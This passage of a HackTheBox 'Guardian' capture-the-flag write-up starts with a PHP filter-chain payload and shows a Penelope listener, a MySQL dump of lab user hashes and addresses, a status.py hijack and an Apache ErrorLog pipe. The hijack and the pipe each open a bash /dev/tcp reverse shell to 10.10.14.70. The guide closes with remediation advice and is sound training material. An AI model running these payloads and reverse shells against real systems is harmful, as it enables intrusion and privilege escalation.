decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

now can you copy and paste ,send to see if we can see the id.

Remember to add ,system.php at the end incase you forgot for it to work in burp.

guardian-htb-release-area-machine_admin-reports-6.png

so set your kali listener here we will use penelope

after sending the output we get ashell as www-data.

└─$ penelope -p 4444                                                                                                            
[+] Listening for reverse shells on 0.0.0.0:4444 →  127.0.0.1 • 172.16.147.139 • 172.17.0.1 • 10.10.14.70
- 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from guardian~10.129.101.248-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
[+] Logging to /home/kali/.penelope/guardian~10.10.11.84 -Linux-x86_64/2025_09_01-09_15_08-425.log 📜
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
www-data@guardian:~/portal.guardian.htb/admin$

looking around we see that port 3306 is open so we can leverage it to mysql.

www-data@guardian:~/portal.guardian.htb/admin$ netstat -tunlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

lets do the mysql thing the password we find it here:

password.png

so now lets acccess it;

www-data@guardian:~$ mysql -h 127.0.0.1 -u root -pGu4rd14n_un1_1s_th3_b3st guardiandb
mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1276
Server version: 8.0.43-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| guardiandb         |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.00 sec)
mysql> use guardiandb;
Database changed
mysql> show tables;
+----------------------+
| Tables_in_guardiandb |
+----------------------+
| assignments          |
| courses              |
| enrollments          |
| grades               |
| messages             |
| notices              |
| programs             |
| submissions          |
| users                |
+----------------------+
9 rows in set (0.00 sec)
mysql> select * from users;
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
| user_id | username           | password_hash                                                    | full_name            | email                           | dob        | address                                                                       | user_role | status | created_at          | updated_at          |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
|       1 | admin              | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 | System Admin         | admin@guardian.htb              | 2003-04-09 | 2625 Castlegate Court, Garden Grove, California, United States, 92645         | admin     | active | 2025-09-01 13:00:02 | 2025-09-01 13:00:02 |
|       2 | jamil.enockson     | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 | Jamil Enocksson      | jamil.enockson@guardian.htb     | 1999-09-26 | 1061 Keckonen Drive, Detroit, Michigan, United States, 48295                  | admin     | active | 2025-09-01 13:00:02 | 2025-09-01 13:00:02 |
|       3 | mark.pargetter     | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e | Mark Pargetter       | mark.pargetter@guardian.htb     | 1996-04-06 | 7402 Santee Place, Buffalo, New York, United States, 14210                    | admin     | active | 2025-09-01 13:00:02 | 2025-09-01 13:00:02 |
etc |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
63 rows in set (0.00 sec)

we re interested in this three so we cut them to crash the hashes

lets go

passhashcat.png

and boom a few minutes though my laptop did overheat but we got it.

hashcat.png

we got admin and jamil,so lets ssh this thing once and for all

ssh.user.txt.png

and boom we got the user flag.

we are in jamil so before exiting lets do some recon we can find the root here(just kidding)

jamil can run the commands with mark privileges. So our next escalated target is mark.

Now we gonna check out this one /opt/scripts/utilities/utilities.py

utilities.png

chacked file permissions and saw that only mark can run other functions, but system-status

can run by anyone. Let’s check out /opt/scripts/utilities/utils

We can see that file status.py was written by mark and admins group.

after a small research we saw we can  hijack status.py to get mark shell.

so lets backup the original file first status.py 

bak.png

so now lets modify  status.py to our malicious execution script we need to get shell.

# status.py 
import platform
import psutil
import os
import subprocess

def system_status():
    print("System:", platform.system(), platform.release())
    print("CPU usage:", psutil.cpu_percent(), "%")
    print("Memory usage:", psutil.virtual_memory().percent, "%")
    subprocess.run(["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.70/4444 0>&1"])

now lets set our listener…..and run the utilities.py via mark

tip: to get the option we will use use the -h command

utilitymark.png

and the shell coola and juicy!

apachectlmark.png

so mark can run safeapache2ctl thats a relief so lets go full force…..

Did a little research here so check it out  apache2ctl for more. Now we gonna create a mailicious config file and exploit to escalated to root via Apache ErrorLog directive with | to executed the commands.

Privilege Escalation

we create it like this:

# shell.conf
LoadModule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so
ServerRoot "/etc/apache2"
ServerName localhost
PidFile /tmp/apache-rs.pid
Listen 127.0.0.1:8080
ErrorLog "|/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.70/5555 0>&1'"

and then setup our penelope listener and  run the commands via mark sudo privileges.

confshell.png

and boom we got a reverse shell as root

rootshellfromconffile.png

root.txt.png

and there we got our cool root flag.

This is just one of the ways to exploit and get root there are many ways so use what suits you.

final.png


Summary

The Guardian HTB machine was successfully compromised through a multi-stage attack chain involving web enumeration, SQL injection, password cracking, privilege escalation via Python script hijacking, and finally root access through Apache configuration exploitation.

Key Takeaways

  • Initial Access: SQL injection vulnerability in the student portal allowed database access and credential extraction
  • User Compromise: Hashcat successfully cracked SHA-256 password hashes for admin and jamil accounts
  • Lateral Movement: Exploited sudo privileges to hijack status.py and escalate from jamil to mark
  • Root Access: Leveraged Apache ErrorLog directive with pipe operator to execute commands as root

Tools Used

  • Nmap - Network reconnaissance
  • Burp Suite - Web application testing and SQL injection
  • Hashcat - Password hash cracking
  • Penelope - Reverse shell listener
  • MySQL Client - Database enumeration

Timeline

StageActionResult
EnumerationPort scanning and subdomain discoveryFound portal.guardian.htb
ExploitationSQL injection via UNION-based attackDatabase access achieved
Credential AccessExtracted password hashes from users tableCracked admin and jamil credentials
Initial FootholdSSH access as jamilUser flag obtained
Privilege Escalation #1Python script hijacking (status.py)Shell as mark
Privilege Escalation #2Apache ErrorLog exploitationRoot shell obtained

Lessons Learned

  • Input Validation: The application failed to properly sanitize user input, leading to SQL injection
  • Password Security: Weak passwords combined with SHA-256 (without salting) made hash cracking feasible
  • File Permissions: Writable Python modules in sensitive locations enabled privilege escalation
  • Sudo Misconfigurations: Overly permissive sudo rules allowed lateral movement and root access
  • Apache Configuration: The ErrorLog pipe feature can be weaponized when combined with sudo privileges

Remediation Recommendations

  • Implement prepared statements to prevent SQL injection attacks
  • Use bcrypt or Argon2 with proper salting for password hashing instead of SHA-256
  • Restrict file permissions on critical scripts and configurations
  • Apply principle of least privilege to sudo configurations
  • Audit Apache configurations and restrict use of pipe operators in directives
  • Implement proper input validation and output encoding throughout the application

Conclusion

Guardian was an engaging machine that demonstrated real-world vulnerability chains. The exploitation path required solid understanding of web application security, Linux privilege escalation techniques, and creative thinking to leverage Apache configurations for root access. Special thanks to the HTB community and the machine creator for this learning opportunity.


Machine Difficulty: Hard | Platform: HackTheBox | Completion Date: October 2025